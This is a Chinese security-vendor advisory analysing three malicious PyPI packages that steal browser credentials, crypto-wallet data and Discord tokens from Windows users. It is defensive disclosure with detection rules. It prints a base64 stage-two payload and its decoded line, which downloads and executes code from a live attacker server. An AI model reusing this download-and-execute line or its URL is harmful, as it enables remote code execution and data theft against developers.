安全情报 | Pypi再现窃密攻击投毒

软件模
• 阅读 426

概述

悬镜安全自研的开源组件投毒检测平台通过对主流开源软件仓库(包括Pypi、NPM、Ruby等)发布的组件包进行持续性监控和自动化代码安全分析,同时结合专家安全经验复审,能够及时发现组件包投毒事件并精确定位恶意代码片段,捕获潜在的供应链投毒攻击行为。

上周我们在Python官方仓库(Pypi)中发现多起新的恶意组件包投毒事件,值得注意的是,urllitelib、urtelib32、graphql32三个python恶意包由同一个攻击者在9月10~11号之间上传投放到Pypi仓库,在此期间攻击者连续迭代发布多个版本,这三个恶意包的代码和攻击行为具有极高相似度,其主要攻击行为是窃取受害者PC操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等),截至目前这些恶意Py包在官方仓库上已被下载近2000次(详细数据如下所示)。

安全情报 | Pypi再现窃密攻击投毒
(https://www.pepy.tech/projects/urllitelib)

安全情报 | Pypi再现窃密攻击投毒

安全情报 | Pypi再现窃密攻击投毒

目前这些投毒包已从官方仓库中下架,经悬镜供应链安全实验室确认,国内各大主流Pypi镜像源仍缓存这些恶意投毒包 ,对于使用国内镜像源的广大开发者来说依旧面临潜在的安全风险。悬镜安全提醒国内开发者们自行排查是否安装或引用以下Python恶意组件包。

安全情报 | Pypi再现窃密攻击投毒

投毒窃密分析

从09月10日开始,悬镜安全的开源组件投毒检测系统监测到投毒者(benjaminrodriguezshhh@proton.me)持续向官方Pypi仓库中投放urllitelib、urtelib32、graphql32等多个版本的恶意Py包,这些恶意包命中了检测引擎的安全风险规则,通过进一步对恶意包样本的人工分析后,确认这是一起有针对性的投毒攻击事件,投毒者的攻击对象是Windows操作系统用户,其主要攻击行为是窃取Windows操作系统、主流浏览器、社交软件以及区块链钱包软件的敏感数据。

投毒攻击流程

当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或者依赖引用恶意组件包时,将自动触发执行恶意安装包setup.py中的第一阶段攻击代码,第一阶段攻击代码将从远程服务器下载第二、三阶段的攻击载荷,经过解码后,第三阶段攻击载荷将成为最终的投毒攻击代码。投毒包攻击流如下图所示:

安全情报 | Pypi再现窃密攻击投毒

恶意样本分析

以urllitelib(1.2.0版本)为例:攻击者在组件包setup.py中设置自定义command类CustomInstall,当开发者执行pip install urllitelib安装组件包时将触发 CustomInstall.run()函数中的第一阶段攻击代码(如下图所示)。

安全情报 | Pypi再现窃密攻击投毒

远程下载攻击载荷

第一阶段的攻击代码首先将内置的恶意代码写入config.py文件后,进一步尝试使用管理员权限执行config.py,config.py将通过HTTP Auth认证的GET请求从远程服务器下载执行伪装成图片(http://wpp-api-01hw.onrender.com/api/images/11408844816711885...)的第二阶段攻击Payload,第二阶段Payload使用base64进行简单编码:

ZXhlYyhyZXF1ZXN0cy5nZXQoJ2h0dHA6Ly93cHAtYXBpLTAxaHcub25yZW5kZXIuY29tL2FwaS9zdGVhbC8xMTQwODg0NDgxNjcxMTg4NTgxLycsIGhlYWRlcnM9eydhdXRoJzogJyYmQ0QmJk9OJ30pLmpzb24oKVsnY29kZSddKQ

base64解码后,第二阶段攻击Payload真实内容如下:

b"exec(requests.get('http://wpp-api-01hw.onrender.com/api/steal/1140884481671188581/', headers={'auth': '&&CD&&ON'}).json()['code'])"

第三阶段的攻击Payload同样是通过HTTP Auth认证的GET请求从http://wpp-api-01hw.onrender.com/api/steal/1140884481671188581/下载后,再进行一轮base64解码,投毒包最终的攻击载荷如下所示:

安全情报 | Pypi再现窃密攻击投毒

通过分析投毒包远程载荷代码可明显发现其主要攻击逻辑包含有系统运行环境反调试、获取操作系统基本信息、窃取浏览器用户数据(密码,cookie,浏览记录等)、获取主流应用软件用户token、盗取区块链钱包敏感数据以及开机自启动等恶意行为。

反调试&虚拟机对抗

如下图所示,恶意代码具备比较基础的反调试和虚拟机对抗能力。恶意代码在执行数据窃密操作前,如果检测到系统中存在代码逆向、进程调试、进程监控、网络流量分析以及虚拟机服务等相关进程后会尝试杀死这些进程。此外,当检测到当前操作系统的主机名、网络IP、MAC地址如果命中内置的黑名单后,会删除自身代码,躲避检测。

安全情报 | Pypi再现窃密攻击投毒

获取系统敏感信息

恶意代码除了获取操作系统设备ID、主机名、用户名、网络IP、MAC等基础信息之外,还会对系统屏幕进行截屏。这些敏感数据最终都将发送到攻击者服务器上。

安全情报 | Pypi再现窃密攻击投毒

窃取浏览器用户数据

恶意代码还会尝试遍历主流浏览器的用户数据目录,窃取浏览器中存储的用户密码、cookie、信用卡、历史浏览记录等敏感数据。

安全情报 | Pypi再现窃密攻击投毒

盗取区块链钱包账户数据

恶意代码会遍历主流数字货币钱包(例如Exodus、Atomic Wallet.等)的数据目录,对钱包账户数据进行压缩打包后发送给攻击者服务器。

安全情报 | Pypi再现窃密攻击投毒

盗取Discord及主流浏览器token

此外,恶意代码还会搜索主流浏览器和Discord的用户数据目录,尝试从leveldb、sqlite3等本地数据库中挖掘出符合特定正则表达式的用户token数据。

安全情报 | Pypi再现窃密攻击投毒

IoC数据

此次投毒组件包涉及的恶意文件和恶意链接IoC数据如下所示:

安全情报 | Pypi再现窃密攻击投毒

总结

截止目前,投毒攻击者所使用的恶意代码载荷URL依然有效,虽然相关的投毒组件包已经从官方仓库Pypi上下架,但其依然存活于国内各大Pypi镜像源中,因此对于国内广大开发者来说仍需提供安全防范意识,除了自行排查现有Py安装包外,建议尽量使用官方Pypi仓库源。

排查方式

使用OpenSCA-cli,将以下内容保存为db.json文件,直接执行扫描命令(opensca-cli -db db.sjon -path${project_path}),即可快速获知您的项目是否受到投毒包影响。

[  
   {    
      "product": "urllitelib",    
      "version": "[1.0.0, 1.2.0]",    
      "language": "python",    
      "id": "XMIRROR-2023-70549",    
      "description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",
      "release_date": "2023-09-18"  
   },  
   {    
      "product": "urtelib32",    
      "version": "[1.7.2, 1.8.1]",    
      "language": "python",    
      "id": "XMIRROR-2023-70550",    
      "description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",
      "release_date": "2023-09-18"  
    },  
    {    
      "product": "graphql32",   
      "version": "[1.7.2, 1.8.4]",    
      "language": "python",    
      "id": "XMIRROR-2023-70551",    
      "description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。", 
      "release_date": "2023-09-18"  
   }
]

悬镜安全也将持续监测和挖掘未知的开源组件安全风险,并及时对供应链投毒事件进行分析披露。

点赞
收藏
评论区
推荐文章
李志宽 李志宽
3年前
1分钟教你学会Metasploit 安装与部署
前言Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。(来自百度百科)总之是一款非常优秀的开源渗透测试框架。安装Metasploit本文只讨论在Linux系统下的安装,包括Ubuntu、Centos、Deepin等,读者可以直接安装Kali操作系统,上面
李志宽 李志宽
3年前
1分钟教你学会Metasploit 安装与部署
前言Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。(来自百度百科)总之是一款非常优秀的开源渗透测试框架。安装Met
linbojue linbojue
6个月前
一篇文章带您深入了解JavaScript供应链安全
在如今的互联网时代下,JavaScript已经是开发动态和交互式用户体验的重要工具。随着开发者对第三方库和包的依赖越来越多,JavaScript供应链安全问题也逐渐浮出水面。本文将深入探讨JavaScript供应链安全的概念,分析其中的潜在风险和漏洞,并提
Wesley13 Wesley13
4年前
OSSIM的名词解释
OSSIM即开源安全信息管理系统(OPENSOURCESECURITYINFORMATIONMANAGEMENT),是一个非常流行和完整的开源安全架构体系。OSSIM通过将开源产品进行集成,从而提供一种能够实现安全监控功能的基础平台。它的目的是提供一种集中式、有组织的、能够更好地进行监测和显示的框架式系统。OSSIM明确定位为一个集成解决方案,
Stella981 Stella981
4年前
DevOps 安全威胁,你值得关注!
随着开源软件被大量引用,线上运行的代码中超过80%的部分是开源代码。软件安全的重点已经从内部代码转移到所引用开源部分上。DevOps安全需要关注内部研发团队的自研代码以及外部第三方开源软件的安全,对于内部代码,所使用的依赖必须清楚,如果底层依赖有风险,还必须快速反向分析哪些其他软件受到同样的威胁;目前DevOps安全团队和持续交付团队往往独立运行,信息交
Wesley13 Wesley13
4年前
MySQL日志安全分析技巧
常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源。0x01Mysql日志分析generalquerylog能记录成功连接和每次执行的查询,我们可以将它用作安全布防的一部分,为故障分析或黑客事件后的调查提供依据。1、查看log配置信息
Stella981 Stella981
4年前
Linux漏洞扫描工具【lynis】
Lynis是一款Unix系统的安全审计以及加固工具,能够进行深层次的安全扫描,其目的是检测潜在的时间并对未来的系统加固提供建议。这款软件会扫描一般系统信息,脆弱软件包以及潜在的错误配置.特征:1.漏洞扫描2.系统加固3.入侵检测4.中心管理5.自定义行为规划6.报告7.安全面板8.持续监测9.技术
构建一体化云原生安全防御体系,京东云云原生安全平台重磅发布
当用户充分利用原生云能力进行应用设计、部署和运维时,云原生也面临新的安全挑战,例如镜像漏洞与投毒、编排软件漏洞、不安全配置利用、容器逃逸等。面对这样的风险,京东云重磅发布云原生安全平台,包含资产清点、镜像安全、运行时安全、网络安全、集群安全、节点安全等安全
新支点小玉 新支点小玉
2年前
CNAS中兴新支点——源代码审计对企业有哪些好处
源代码扫描,对应用程序进行静态漏洞扫描,分析源代码中存在的安全风险,运行应用于模拟器中对应用进行实时漏洞攻击检测。你是否了解源代码扫描对企业的好处?一、源代码扫描,通常能够帮助企业解决这些问题:1、软件代码中安全漏洞和未声明功能的存在是信息安全事件频繁发生